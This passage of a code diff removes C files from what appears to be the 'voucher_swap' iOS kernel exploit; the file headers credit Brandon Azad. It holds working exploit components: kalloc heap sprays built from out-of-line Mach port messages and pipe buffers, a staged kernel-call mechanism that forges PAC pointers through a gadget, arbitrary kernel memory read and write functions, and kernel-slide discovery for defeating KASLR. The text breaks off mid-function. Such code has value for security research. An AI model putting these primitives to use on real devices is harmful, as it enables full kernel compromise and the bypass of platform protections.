||||
// message.
|
||||
if (kr != KERN_SUCCESS) {
|
||||
if (kr != MACH_RCV_TIMED_OUT) {
|
||||
ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
|
||||
}
|
||||
break;
|
||||
}
|
||||
// Pass the message to the message handler.
|
||||
message_handler(&msg->header);
|
||||
}
|
||||
// Clean up resources.
|
||||
SafeFreeNULL(msg);
|
||||
}
|
||||
|
||||
void
|
||||
port_discard_messages(mach_port_t port) {
|
||||
port_drain_messages(port, ^(mach_msg_header_t *header) {
|
||||
mach_msg_destroy(header);
|
||||
});
|
||||
}
|
||||
|
||||
void
|
||||
ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
|
||||
void (^ool_ports_handler)(mach_port_t *, size_t)) {
|
||||
// Loop through all the ports.
|
||||
for (size_t port_index = 0; port_index < holding_port_count; port_index++) {
|
||||
// Handle each message on the port.
|
||||
port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *msg0) {
|
||||
struct ool_ports_msg *msg = (struct ool_ports_msg *)msg0;
|
||||
// We've successfully received a message. Make sure it's the type we
|
||||
// expect.
|
||||
if (msg->header.msgh_id != 'ools') {
|
||||
WARNING("received unexpected message id 0x%x",
|
||||
msg->header.msgh_id);
|
||||
goto done;
|
||||
}
|
||||
if (!MACH_MSGH_BITS_IS_COMPLEX(msg->header.msgh_bits)) {
|
||||
WARNING("skipping non-complex message");
|
||||
goto done;
|
||||
}
|
||||
// Go through the descriptors one at a time passing them to the handler
|
||||
// block.
|
||||
mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&msg->ool_ports[0];
|
||||
for (size_t i = 0; i < msg->body.msgh_descriptor_count; i++) {
|
||||
void *next;
|
||||
switch (d->type.type) {
|
||||
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
|
||||
next = &d->ool_ports + 1;
|
||||
mach_port_t *ports = (mach_port_t *)
|
||||
d->ool_ports.address;
|
||||
size_t count = d->ool_ports.count;
|
||||
ool_ports_handler(ports, count);
|
||||
break;
|
||||
default:
|
||||
WARNING("unexpected descriptor type %u",
|
||||
d->type.type);
|
||||
goto done;
|
||||
}
|
||||
d = (mach_msg_descriptor_t *)next;
|
||||
}
|
||||
done:
|
||||
// Discard the message.
|
||||
mach_msg_destroy(&msg->header);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
increase_file_limit() {
|
||||
struct rlimit rl = {};
|
||||
int error = getrlimit(RLIMIT_NOFILE, &rl);
|
||||
assert(error == 0);
|
||||
rl.rlim_cur = 10240;
|
||||
rl.rlim_max = rl.rlim_cur;
|
||||
error = setrlimit(RLIMIT_NOFILE, &rl);
|
||||
if (error != 0) {
|
||||
ERROR("could not increase file limit");
|
||||
}
|
||||
error = getrlimit(RLIMIT_NOFILE, &rl);
|
||||
assert(error == 0);
|
||||
if (rl.rlim_cur != 10240) {
|
||||
ERROR("file limit is %llu", rl.rlim_cur);
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
pipe_close(int pipefds[2]) {
|
||||
close(pipefds[0]);
|
||||
close(pipefds[1]);
|
||||
}
|
||||
|
||||
/*
|
||||
* set_nonblock
|
||||
*
|
||||
* Description:
|
||||
* Set the O_NONBLOCK flag on the specified file descriptor.
|
||||
*/
|
||||
static void
|
||||
set_nonblock(int fd) {
|
||||
int flags = fcntl(fd, F_GETFL);
|
||||
flags |= O_NONBLOCK;
|
||||
fcntl(fd, F_SETFL, flags);
|
||||
}
|
||||
|
||||
int *
|
||||
create_pipes(size_t *pipe_count) {
|
||||
// Allocate our initial array.
|
||||
size_t capacity = *pipe_count;
|
||||
int *pipefds = calloc(2 * capacity, sizeof(int));
|
||||
assert(pipefds != NULL);
|
||||
// Create as many pipes as we can.
|
||||
size_t count = 0;
|
||||
for (; count < capacity; count++) {
|
||||
// First create our pipe fds.
|
||||
int fds[2] = { -1, -1 };
|
||||
int error = pipe(fds);
|
||||
// Unfortunately pipe() seems to return success with invalid fds once we've
|
||||
// exhausted the file limit. Check for this.
|
||||
if (error != 0 || fds[0] < 0 || fds[1] < 0) {
|
||||
pipe_close(fds);
|
||||
break;
|
||||
}
|
||||
// Mark the write-end as nonblocking.
|
||||
set_nonblock(fds[1]);
|
||||
// Store the fds.
|
||||
pipefds[2 * count + 0] = fds[0];
|
||||
pipefds[2 * count + 1] = fds[1];
|
||||
}
|
||||
// Truncate the array to the smaller size.
|
||||
int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
|
||||
assert(new_pipefds != NULL);
|
||||
// Return the count and the array.
|
||||
*pipe_count = count;
|
||||
return new_pipefds;
|
||||
}
|
||||
|
||||
void
|
||||
close_pipes(int *pipefds, size_t pipe_count) {
|
||||
for (size_t i = 0; i < pipe_count; i++) {
|
||||
pipe_close(pipefds + 2 * i);
|
||||
}
|
||||
}
|
||||
|
||||
size_t
|
||||
pipe_spray(const int *pipefds, size_t pipe_count,
|
||||
void *pipe_buffer, size_t pipe_buffer_size,
|
||||
void (^update)(uint32_t pipe_index, void *data, size_t size)) {
|
||||
assert(pipe_count <= 0xffffff);
|
||||
assert(pipe_buffer_size > 512);
|
||||
size_t write_size = pipe_buffer_size - 1;
|
||||
size_t pipes_filled = 0;
|
||||
for (size_t i = 0; i < pipe_count; i++) {
|
||||
// Update the buffer.
|
||||
if (update != NULL) {
|
||||
update((uint32_t)i, pipe_buffer, pipe_buffer_size);
|
||||
}
|
||||
// Fill the write-end of the pipe with the buffer. Leave off the last byte.
|
||||
int wfd = pipefds[2 * i + 1];
|
||||
ssize_t written = write(wfd, pipe_buffer, write_size);
|
||||
if (written != write_size) {
|
||||
// This is most likely because we've run out of pipe buffer memory. None of
|
||||
// the subsequent writes will work either.
|
||||
break;
|
||||
}
|
||||
pipes_filled++;
|
||||
}
|
||||
return pipes_filled;
|
||||
}
|
||||
@@ -1,291 +0,0 @@
|
||||
/*
|
||||
* kernel_alloc.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_
|
||||
#define VOUCHER_SWAP__KERNEL_ALLOC_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stddef.h>
|
||||
|
||||
/*
|
||||
* message_size_for_kalloc_size
|
||||
*
|
||||
* Description:
|
||||
* Return the Mach message size needed for the ipc_kmsg to be allocated from the specified
|
||||
* kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it
|
||||
* could be slightly small.
|
||||
*/
|
||||
size_t message_size_for_kalloc_size(size_t kalloc_size);
|
||||
|
||||
/*
|
||||
* kalloc_size_for_message_size
|
||||
*
|
||||
* Description:
|
||||
* Return the kalloc allocation size corresponding to sending a message of the specified size.
|
||||
*
|
||||
* This is only correct for messages large enough that the ipc_kmsg struct is allocated with
|
||||
* kalloc().
|
||||
*/
|
||||
size_t kalloc_size_for_message_size(size_t message_size);
|
||||
|
||||
/*
|
||||
* ipc_kmsg_size_for_message_size
|
||||
*
|
||||
* Description:
|
||||
* Return the allocation size of the ipc_kmsg for the given message size.
|
||||
*/
|
||||
size_t ipc_kmsg_size_for_message_size(size_t message_size);
|
||||
|
||||
/*
|
||||
* ool_ports_spray_port
|
||||
*
|
||||
* Description:
|
||||
* Spray the given Mach port with Mach messages that contain out-of-line ports descriptors
|
||||
* with the given ports. The goal is to spray the target kalloc zone with many copies of a
|
||||
* particular array of OOL ports.
|
||||
*
|
||||
* Make sure that the port's queue limits are sufficient to hold the specified number of
|
||||
* messages.
|
||||
*
|
||||
* Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages
|
||||
* enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has
|
||||
* sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with
|
||||
* the OOL ports spray.
|
||||
*
|
||||
* There are limits on the number of OOL ports that can be sent in a message, the number of
|
||||
* descriptors in a message, and the number of messages that can be queued on a port. Be sure
|
||||
* that the parameters you supply are valid, since this function does not check whether or not
|
||||
* the kernel will let your message through (or even whether they make sense).
|
||||
*
|
||||
* Parameters:
|
||||
* holding_port The port on which to enqueue the Mach messages.
|
||||
* ool_ports The OOL Mach ports to spray.
|
||||
* port_count The number of OOL Mach ports.
|
||||
* ool_disposition The disposition to send the OOL ports.
|
||||
* ool_count The number of OOL ports descriptors to send per message.
|
||||
* message_size The size of each message.
|
||||
* message_count The number of messages to enqueue on the holding port.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of messages that were successfully sent.
|
||||
*/
|
||||
size_t ool_ports_spray_port(mach_port_t holding_port,
|
||||
const mach_port_t *ool_ports, size_t port_count,
|
||||
mach_msg_type_name_t ool_disposition, size_t ool_count,
|
||||
size_t message_size, size_t message_count);
|
||||
|
||||
/*
|
||||
* kalloc_spray_port
|
||||
*
|
||||
* Description:
|
||||
* Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach
|
||||
* messages containing OOL ports to the specified holding port. Returns the number of kalloc
|
||||
* allocations that were actually performed.
|
||||
*
|
||||
* The point of this function is to quickly make as many kalloc allocations in the target zone
|
||||
* as possible using the specified holding port. The way we do this is by sending messages
|
||||
* with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg
|
||||
* struct for the message and the OOL port arrays fall into the target kalloc zone. We will
|
||||
* continue sending messages to the port until either we've created the required number of
|
||||
* allocations or we've filled up the port's message queue.
|
||||
*
|
||||
* To free the allocations, call mach_port_destroy() on the holding port. Note that this will
|
||||
* also free the holding port if there are no other references.
|
||||
*
|
||||
* Parameters:
|
||||
* holding_port The port on which to enqueue the Mach messages.
|
||||
* min_kalloc_size The minimum sized allocation that is handled by this zone.
|
||||
* kalloc_zone The kalloc zone in which to spray allocations.
|
||||
* kalloc_count The desired number of allocations to make.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of kalloc allocations actually made, which may be less than the number
|
||||
* requested if the port fills up or if an error is encountered.
|
||||
*/
|
||||
size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
|
||||
size_t kalloc_count);
|
||||
|
||||
/*
|
||||
* kalloc_spray_size
|
||||
*
|
||||
* Description:
|
||||
* Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach
|
||||
* messages containing OOL ports to the given holding ports.
|
||||
*
|
||||
* See kalloc_spray_port().
|
||||
*
|
||||
* To free the allocations, call destroy_ports() on the holding ports. Note that
|
||||
* destroy_ports() will also free the holding ports themselves if there are no other
|
||||
* references.
|
||||
*
|
||||
* Parameters:
|
||||
* holding_ports The array of holding ports.
|
||||
* port_count inout On entry, the number of holding ports available. On exit,
|
||||
* the number of holding ports used.
|
||||
* min_kalloc_size The minimum sized allocation that is handled by this zone.
|
||||
* kalloc_zone The kalloc zone in which to spray allocations.
|
||||
* spray_size The number of bytes to try and spray to the target zone.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of bytes actually sprayed to the kalloc zone. This could be less than
|
||||
* the requested size if an error is encountered or more than the requested size if the spray
|
||||
* size was not an even multiple of the zone size.
|
||||
*/
|
||||
size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
|
||||
size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size);
|
||||
|
||||
/*
|
||||
* ool_ports_spray_size_with_gc
|
||||
*
|
||||
* Description:
|
||||
* Spray spray_size bytes of kernel memory with the specified out-of-line ports.
|
||||
*
|
||||
* Parameters:
|
||||
* holding_ports The array of holding ports.
|
||||
* holding_port_count inout On entry, the number of holding ports available. On exit,
|
||||
* the number of holding ports used.
|
||||
* message_size The size of each message to send. This parameter should be
|
||||
* chosen carefully, as allocations will be taken out of the
|
||||
* corresponding kalloc zone.
|
||||
* ool_ports The OOL Mach ports to spray.
|
||||
* ool_port_count The number of OOL Mach ports.
|
||||
* ool_disposition The disposition to send the OOL ports.
|
||||
* spray_size The number of bytes of OOL ports to try and spray.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of bytes of OOL ports actually sprayed.
|
||||
*/
|
||||
size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
|
||||
size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
|
||||
mach_msg_type_name_t ool_disposition, size_t spray_size);
|
||||
|
||||
/*
|
||||
* create_ports
|
||||
*
|
||||
* Description:
|
||||
* Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no
|
||||
* longer needed, deallocate it with SafeFreeNULL().
|
||||
*/
|
||||
mach_port_t *create_ports(size_t count);
|
||||
|
||||
/*
|
||||
* destroy_ports
|
||||
*
|
||||
* Description:
|
||||
* Destroys the specified Mach ports and sets them to MACH_PORT_DEAD.
|
||||
*/
|
||||
void destroy_ports(mach_port_t *ports, size_t count);
|
||||
|
||||
/*
|
||||
* deallocate_ports
|
||||
*
|
||||
* Description:
|
||||
* Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD.
|
||||
*/
|
||||
void deallocate_ports(mach_port_t *ports, size_t count);
|
||||
|
||||
/*
|
||||
* port_increase_queue_limit
|
||||
*
|
||||
* Description:
|
||||
* Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX.
|
||||
*/
|
||||
void port_increase_queue_limit(mach_port_t port);
|
||||
|
||||
/*
|
||||
* port_insert_send_right
|
||||
*
|
||||
* Description:
|
||||
* Insert a send right on the specified port, which must name a receive right.
|
||||
*/
|
||||
void port_insert_send_right(mach_port_t port);
|
||||
|
||||
/*
|
||||
* port_drain_messages
|
||||
*
|
||||
* Description:
|
||||
* Drain all the messages currently queued on the specified port. The messages are passed to
|
||||
* the message_handler block, which is responsible for processing the messages and freeing any
|
||||
* associated resources (e.g. with mach_msg_destroy()).
|
||||
*/
|
||||
void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *));
|
||||
|
||||
/*
|
||||
* port_discard_messages
|
||||
*
|
||||
* Description:
|
||||
* Discard all the messages currently queued on the specified port. The messages are received
|
||||
* and passed directly to mach_msg_destroy().
|
||||
*/
|
||||
void port_discard_messages(mach_port_t port);
|
||||
|
||||
/*
|
||||
* ool_ports_spray_receive
|
||||
*
|
||||
* Description:
|
||||
* Receive all the messages queued on the holding ports and pass the OOL ports descriptors to
|
||||
* the specified handler block. The messages are destroyed after they are processed.
|
||||
*/
|
||||
void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
|
||||
void (^ool_ports_handler)(mach_port_t *, size_t));
|
||||
|
||||
/*
|
||||
* increase_file_limit
|
||||
*
|
||||
* Description:
|
||||
* Increase our process's limit on the number of open files.
|
||||
*/
|
||||
void increase_file_limit(void);
|
||||
|
||||
/*
|
||||
* pipe_close
|
||||
*
|
||||
* Description:
|
||||
* Close the file descriptors of a pipe.
|
||||
*/
|
||||
void pipe_close(int pipefds[2]);
|
||||
|
||||
/*
|
||||
* create_pipes
|
||||
*
|
||||
* Description:
|
||||
* Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and
|
||||
* on return it contains the number of pipes actually created.
|
||||
*
|
||||
* The pipes are returned as an array of file descriptors.
|
||||
*/
|
||||
int *create_pipes(size_t *pipe_count);
|
||||
|
||||
/*
|
||||
* close_pipes
|
||||
*
|
||||
* Description:
|
||||
* Close the pipes in an array.
|
||||
*/
|
||||
void close_pipes(int *pipefds, size_t pipe_count);
|
||||
|
||||
/*
|
||||
* pipe_spray
|
||||
*
|
||||
* Description:
|
||||
* Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to
|
||||
* 16 MB, so that's the maximum we'll be able to spray.
|
||||
*
|
||||
* Note that the last byte of the sprayed data won't be written to memory!
|
||||
*
|
||||
* Parameters:
|
||||
* pipefds The pipe file descriptors.
|
||||
* pipe_count The number of pipe fd pairs.
|
||||
* pipe_buffer The data to spray.
|
||||
* pipe_buffer_size The size of the data to spray.
|
||||
* update A callback to modify the data on each iteration.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of pipes actually filled.
|
||||
*/
|
||||
size_t pipe_spray(const int *pipefds, size_t pipe_count,
|
||||
void *pipe_buffer, size_t pipe_buffer_size,
|
||||
void (^update)(uint32_t pipe_index, void *data, size_t size));
|
||||
|
||||
#endif
|
||||
@@ -1,44 +0,0 @@
|
||||
/*
|
||||
* kernel_call.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#include "kernel_call.h"
|
||||
|
||||
#include <assert.h>
|
||||
|
||||
#include "pac.h"
|
||||
#include "user_client.h"
|
||||
#include "log.h"
|
||||
|
||||
// ---- Public API --------------------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
kernel_call_init() {
|
||||
bool ok = stage1_kernel_call_init()
|
||||
&& stage2_kernel_call_init()
|
||||
&& stage3_kernel_call_init();
|
||||
if (!ok) {
|
||||
kernel_call_deinit();
|
||||
}
|
||||
return ok;
|
||||
}
|
||||
|
||||
void
|
||||
kernel_call_deinit() {
|
||||
stage3_kernel_call_deinit();
|
||||
stage2_kernel_call_deinit();
|
||||
stage1_kernel_call_deinit();
|
||||
}
|
||||
|
||||
uint32_t
|
||||
kernel_call_7(uint64_t function, size_t argument_count, ...) {
|
||||
assert(argument_count <= 7);
|
||||
uint64_t arguments[7];
|
||||
va_list ap;
|
||||
va_start(ap, argument_count);
|
||||
for (size_t i = 0; i < argument_count && i < 7; i++) {
|
||||
arguments[i] = va_arg(ap, uint64_t);
|
||||
}
|
||||
va_end(ap);
|
||||
return kernel_call_7v(function, argument_count, arguments);
|
||||
}
|
||||
@@ -1,93 +0,0 @@
|
||||
/*
|
||||
* kernel_call.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_CALL_H_
|
||||
#define VOUCHER_SWAP__KERNEL_CALL_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* kernel_call_init
|
||||
*
|
||||
* Description:
|
||||
* Initialize kernel_call functions.
|
||||
*/
|
||||
bool kernel_call_init(void);
|
||||
|
||||
/*
|
||||
* kernel_call_deinit
|
||||
*
|
||||
* Description:
|
||||
* Deinitialize the kernel call subsystem and restore the kernel to a safe state.
|
||||
*/
|
||||
void kernel_call_deinit(void);
|
||||
|
||||
/*
|
||||
* kernel_call_7
|
||||
*
|
||||
* Description:
|
||||
* Call a kernel function with the specified arguments.
|
||||
*
|
||||
* Restrictions:
|
||||
* See kernel_call_7v().
|
||||
*/
|
||||
uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...);
|
||||
|
||||
/*
|
||||
* kernel_call_7v
|
||||
*
|
||||
* Description:
|
||||
* Call a kernel function with the specified arguments.
|
||||
*
|
||||
* Restrictions:
|
||||
* At most 7 arguments can be passed.
|
||||
* arguments[0] must be nonzero.
|
||||
* The return value is truncated to 32 bits.
|
||||
*/
|
||||
uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]);
|
||||
|
||||
/*
|
||||
* kernel_forge_pacia
|
||||
*
|
||||
* Description:
|
||||
* Forge a PACIA pointer using the kernel forging gadget.
|
||||
*/
|
||||
uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context);
|
||||
|
||||
/*
|
||||
* kernel_forge_pacia_with_type
|
||||
*
|
||||
* Description:
|
||||
* Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the
|
||||
* type code, as context.
|
||||
*/
|
||||
uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type);
|
||||
|
||||
/*
|
||||
* kernel_forge_pacda
|
||||
*
|
||||
* Description:
|
||||
* Forge a PACDA pointer using the kernel forging gadget.
|
||||
*/
|
||||
uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context);
|
||||
|
||||
/*
|
||||
* kernel_xpaci
|
||||
*
|
||||
* Description:
|
||||
* Strip a PACIx code from a kernel pointer.
|
||||
*/
|
||||
uint64_t kernel_xpaci(uint64_t pointer);
|
||||
|
||||
/*
|
||||
* kernel_xpacd
|
||||
*
|
||||
* Description:
|
||||
* Strip a PACDx code from a kernel pointer.
|
||||
*/
|
||||
uint64_t kernel_xpacd(uint64_t pointer);
|
||||
|
||||
#endif
|
||||
@@ -1,111 +0,0 @@
|
||||
/*
|
||||
* kernel_memory.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#define KERNEL_MEMORY_EXTERN
|
||||
#include "kernel_memory.h"
|
||||
|
||||
#include "log.h"
|
||||
#include "mach_vm.h"
|
||||
#include "parameters.h"
|
||||
|
||||
// ---- Kernel memory functions -------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
kernel_read(uint64_t address, void *data, size_t size) {
|
||||
extern bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
return rkbuffer(address, data, size);
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write(uint64_t address, const void *data, size_t size) {
|
||||
extern bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
|
||||
return wkbuffer(address, (void *)data, size);
|
||||
}
|
||||
|
||||
uint8_t
|
||||
kernel_read8(uint64_t address) {
|
||||
uint8_t value;
|
||||
bool ok = kernel_read(address, &value, sizeof(value));
|
||||
if (!ok) {
|
||||
return -1;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
uint16_t
|
||||
kernel_read16(uint64_t address) {
|
||||
uint16_t value;
|
||||
bool ok = kernel_read(address, &value, sizeof(value));
|
||||
if (!ok) {
|
||||
return -1;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
uint32_t
|
||||
kernel_read32(uint64_t address) {
|
||||
uint32_t value;
|
||||
bool ok = kernel_read(address, &value, sizeof(value));
|
||||
if (!ok) {
|
||||
return -1;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
uint64_t
|
||||
kernel_read64(uint64_t address) {
|
||||
uint64_t value;
|
||||
bool ok = kernel_read(address, &value, sizeof(value));
|
||||
if (!ok) {
|
||||
return -1;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write8(uint64_t address, uint8_t value) {
|
||||
return kernel_write(address, &value, sizeof(value));
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write16(uint64_t address, uint16_t value) {
|
||||
return kernel_write(address, &value, sizeof(value));
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write32(uint64_t address, uint32_t value) {
|
||||
return kernel_write(address, &value, sizeof(value));
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_write64(uint64_t address, uint64_t value) {
|
||||
return kernel_write(address, &value, sizeof(value));
|
||||
}
|
||||
|
||||
// ---- Kernel utility functions ------------------------------------------------------------------
|
||||
|
||||
bool
|
||||
kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
|
||||
uint64_t *ipc_port, uint64_t *ipc_entry) {
|
||||
// Get the task's ipc_space.
|
||||
uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space));
|
||||
// Get the size of the table.
|
||||
uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size));
|
||||
// Get the index of the port and check that it is in-bounds.
|
||||
uint32_t port_index = MACH_PORT_INDEX(port_name);
|
||||
if (port_index >= is_table_size) {
|
||||
return false;
|
||||
}
|
||||
// Get the space's is_table and compute the address of this port's entry.
|
||||
uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table));
|
||||
uint64_t entry = is_table + port_index * SIZE(ipc_entry);
|
||||
if (ipc_entry != NULL) {
|
||||
*ipc_entry = entry;
|
||||
}
|
||||
// Get the address of the port if requested.
|
||||
if (ipc_port != NULL) {
|
||||
*ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
@@ -1,132 +0,0 @@
|
||||
/*
|
||||
* kernel_memory.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_
|
||||
#define VOUCHER_SWAP__KERNEL_MEMORY_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef KERNEL_MEMORY_EXTERN
|
||||
#define extern KERNEL_MEMORY_EXTERN
|
||||
#endif
|
||||
|
||||
/*
|
||||
* kernel_task_port
|
||||
*
|
||||
* Description:
|
||||
* The kernel task port.
|
||||
*/
|
||||
extern mach_port_t kernel_task_port;
|
||||
|
||||
/*
|
||||
* kernel_task
|
||||
*
|
||||
* Description:
|
||||
* The address of the kernel_task in kernel memory.
|
||||
*/
|
||||
extern uint64_t kernel_task;
|
||||
|
||||
/*
|
||||
* current_task
|
||||
*
|
||||
* Description:
|
||||
* The address of the current task in kernel memory.
|
||||
*/
|
||||
extern uint64_t current_task;
|
||||
|
||||
/*
|
||||
* kernel_read
|
||||
*
|
||||
* Description:
|
||||
* Read data from kernel memory.
|
||||
*/
|
||||
bool kernel_read(uint64_t address, void *data, size_t size);
|
||||
|
||||
/*
|
||||
* kernel_write
|
||||
*
|
||||
* Description:
|
||||
* Write data to kernel memory.
|
||||
*/
|
||||
bool kernel_write(uint64_t address, const void *data, size_t size);
|
||||
|
||||
/*
|
||||
* kernel_read8
|
||||
*
|
||||
* Description:
|
||||
* Read a single byte from kernel memory. If the read fails, -1 is returned.
|
||||
*/
|
||||
uint8_t kernel_read8(uint64_t address);
|
||||
|
||||
/*
|
||||
* kernel_read16
|
||||
*
|
||||
* Description:
|
||||
* Read a 16-bit value from kernel memory. If the read fails, -1 is returned.
|
||||
*/
|
||||
uint16_t kernel_read16(uint64_t address);
|
||||
|
||||
/*
|
||||
* kernel_read32
|
||||
*
|
||||
* Description:
|
||||
* Read a 32-bit value from kernel memory. If the read fails, -1 is returned.
|
||||
*/
|
||||
uint32_t kernel_read32(uint64_t address);
|
||||
|
||||
/*
|
||||
* kernel_read64
|
||||
*
|
||||
* Description:
|
||||
* Read a 64-bit value from kernel memory. If the read fails, -1 is returned.
|
||||
*/
|
||||
uint64_t kernel_read64(uint64_t address);
|
||||
|
||||
/*
|
||||
* kernel_write8
|
||||
*
|
||||
* Description:
|
||||
* Write a single byte to kernel memory.
|
||||
*/
|
||||
bool kernel_write8(uint64_t address, uint8_t value);
|
||||
|
||||
/*
|
||||
* kernel_write16
|
||||
*
|
||||
* Description:
|
||||
* Write a 16-bit value to kernel memory.
|
||||
*/
|
||||
bool kernel_write16(uint64_t address, uint16_t value);
|
||||
|
||||
/*
|
||||
* kernel_write32
|
||||
*
|
||||
* Description:
|
||||
* Write a 32-bit value to kernel memory.
|
||||
*/
|
||||
bool kernel_write32(uint64_t address, uint32_t value);
|
||||
|
||||
/*
|
||||
* kernel_write64
|
||||
*
|
||||
* Description:
|
||||
* Write a 64-bit value to kernel memory.
|
||||
*/
|
||||
bool kernel_write64(uint64_t address, uint64_t value);
|
||||
|
||||
/*
|
||||
* kernel_ipc_port_lookup
|
||||
*
|
||||
* Description:
|
||||
* Get the address of the ipc_port and ipc_entry for a Mach port name.
|
||||
*/
|
||||
bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
|
||||
uint64_t *ipc_port, uint64_t *ipc_entry);
|
||||
|
||||
#undef extern
|
||||
|
||||
#endif
|
||||
@@ -1,90 +0,0 @@
|
||||
/*
|
||||
* kernel_slide.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#define KERNEL_SLIDE_EXTERN
|
||||
#include "kernel_slide.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <mach/vm_region.h>
|
||||
#include <mach-o/loader.h>
|
||||
|
||||
#include "kernel_memory.h"
|
||||
#include "log.h"
|
||||
#include "parameters.h"
|
||||
#include "platform.h"
|
||||
|
||||
uint64_t kernel_slide = -1;
|
||||
|
||||
/*
|
||||
* is_kernel_base
|
||||
*
|
||||
* Description:
|
||||
* Checks if the given address is the kernel base.
|
||||
*/
|
||||
static bool
|
||||
is_kernel_base(uint64_t base) {
|
||||
// Read the data at the base address as a Mach-O header.
|
||||
struct mach_header_64 header = {};
|
||||
bool ok = kernel_read(base, &header, sizeof(header));
|
||||
if (!ok) {
|
||||
return false;
|
||||
}
|
||||
// Validate that this looks like the kernel base. We don't check the CPU subtype since it
|
||||
// may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
|
||||
// header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
|
||||
// CPU_SUBTYPE_ARM64_V8).
|
||||
if (!(header.magic == MH_MAGIC_64
|
||||
&& header.cputype == platform.cpu_type
|
||||
&& header.filetype == MH_EXECUTE
|
||||
&& header.ncmds > 2)) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_slide_init() {
|
||||
if (kernel_slide != -1) {
|
||||
return true;
|
||||
}
|
||||
// Get the address of the host port.
|
||||
mach_port_t host = mach_host_self();
|
||||
assert(MACH_PORT_VALID(host));
|
||||
uint64_t host_port;
|
||||
bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
if (!ok) {
|
||||
ERROR("could not lookup host port");
|
||||
return false;
|
||||
}
|
||||
// Get the address of realhost.
|
||||
uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
|
||||
return kernel_slide_init_with_kernel_image_address(realhost);
|
||||
}
|
||||
|
||||
bool
|
||||
kernel_slide_init_with_kernel_image_address(uint64_t address) {
|
||||
if (kernel_slide != -1) {
|
||||
return true;
|
||||
}
|
||||
// Find the highest possible kernel base address that could still correspond to the given
|
||||
// kernel image address.
|
||||
uint64_t base = STATIC_ADDRESS(kernel_base);
|
||||
assert(address > base);
|
||||
